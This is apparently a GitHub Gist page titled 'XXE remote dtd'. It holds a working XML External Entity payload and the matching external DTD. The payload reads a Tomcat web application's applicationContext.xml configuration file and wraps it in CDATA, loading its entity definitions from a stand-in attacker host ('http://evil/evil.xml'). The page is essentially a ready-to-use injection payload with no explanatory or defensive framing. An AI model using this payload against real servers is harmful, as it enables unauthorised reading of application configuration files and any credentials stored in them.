-
-
Save staaldraad/55408075f53c1d7b7dc8 to your computer and use it in GitHub Desktop.
XXE remote dtd
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Payload: | |
<?xml version="1.0" encoding="utf-8"?> | |
<!DOCTYPE root [ | |
<!ENTITY % start "<![CDATA["> | |
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml "> | |
<!ENTITY % end "]]>"> | |
<!ENTITY % dtd SYSTEM "http://evil/evil.xml"> | |
%dtd; | |
]> | |
<root>&all;</root> | |
External dtd: | |
<!ENTITY all "%start;%stuff;%end;"> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment